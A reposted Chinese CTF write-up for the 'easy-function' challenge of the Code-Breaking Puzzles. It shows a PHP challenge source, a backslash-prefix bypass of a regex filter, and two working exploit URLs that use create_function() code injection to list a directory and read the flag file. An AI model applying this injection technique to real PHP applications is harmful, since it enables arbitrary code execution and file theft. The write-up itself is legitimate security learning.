Code-Breaking Puzzles 笔记

栏目: PHP · 发布时间: 7年前

内容简介:平台地址 :感谢p牛的题目. p牛博客 :本篇博客主要搬运一下师傅们的writeup,感觉之后比赛能碰到类似思路.

0x00 : 简介

平台地址 : https://code-breaking.com/

感谢p牛的题目. p牛博客 : https://www.leavesongs.com/

本篇博客主要搬运一下师傅们的writeup,感觉之后比赛能碰到类似思路.

0x01 : easy-function

环境 : Apache/2.4.25 (Debian) PHP/7.2.12

题目源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

题解来源 : http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/

如何在数字字母下划线都被禁用的情况下调用函数,苦思无果于是决定寄出fuzz大法:因为正则里用了^$,那么有没有可能在开头或结尾加入某个字符来绕过正则且函数依然能调用呢?

这个字符是%5C,不知道为什么把它加在函数名之前依然不影响正常调用函数.

于是绕过了正则,可以任意函数调用了.我们可以控制函数的第二个参数,有哪个函数第二个参数比较危险呢?经过漫长的查找最终发现 : PHP create_function()代码注入

列目录 : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(scandir(%22/var/www/%22));//

拿flag : http://51.158.75.42:8087/?action=\create_function&arg=return%201;}print_r(file(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));//


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C# Primer Plus

C# Primer Plus

Klaus Michelsen / Sams / 2001-12-15 / USD 49.99

C# Primer Plus is a tutorial based introduction to the C# language and important parts of the .Net Framework. Throughout the book the reader will be exposed to proven principles enabling him to write ......一起来看看 《C# Primer Plus》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具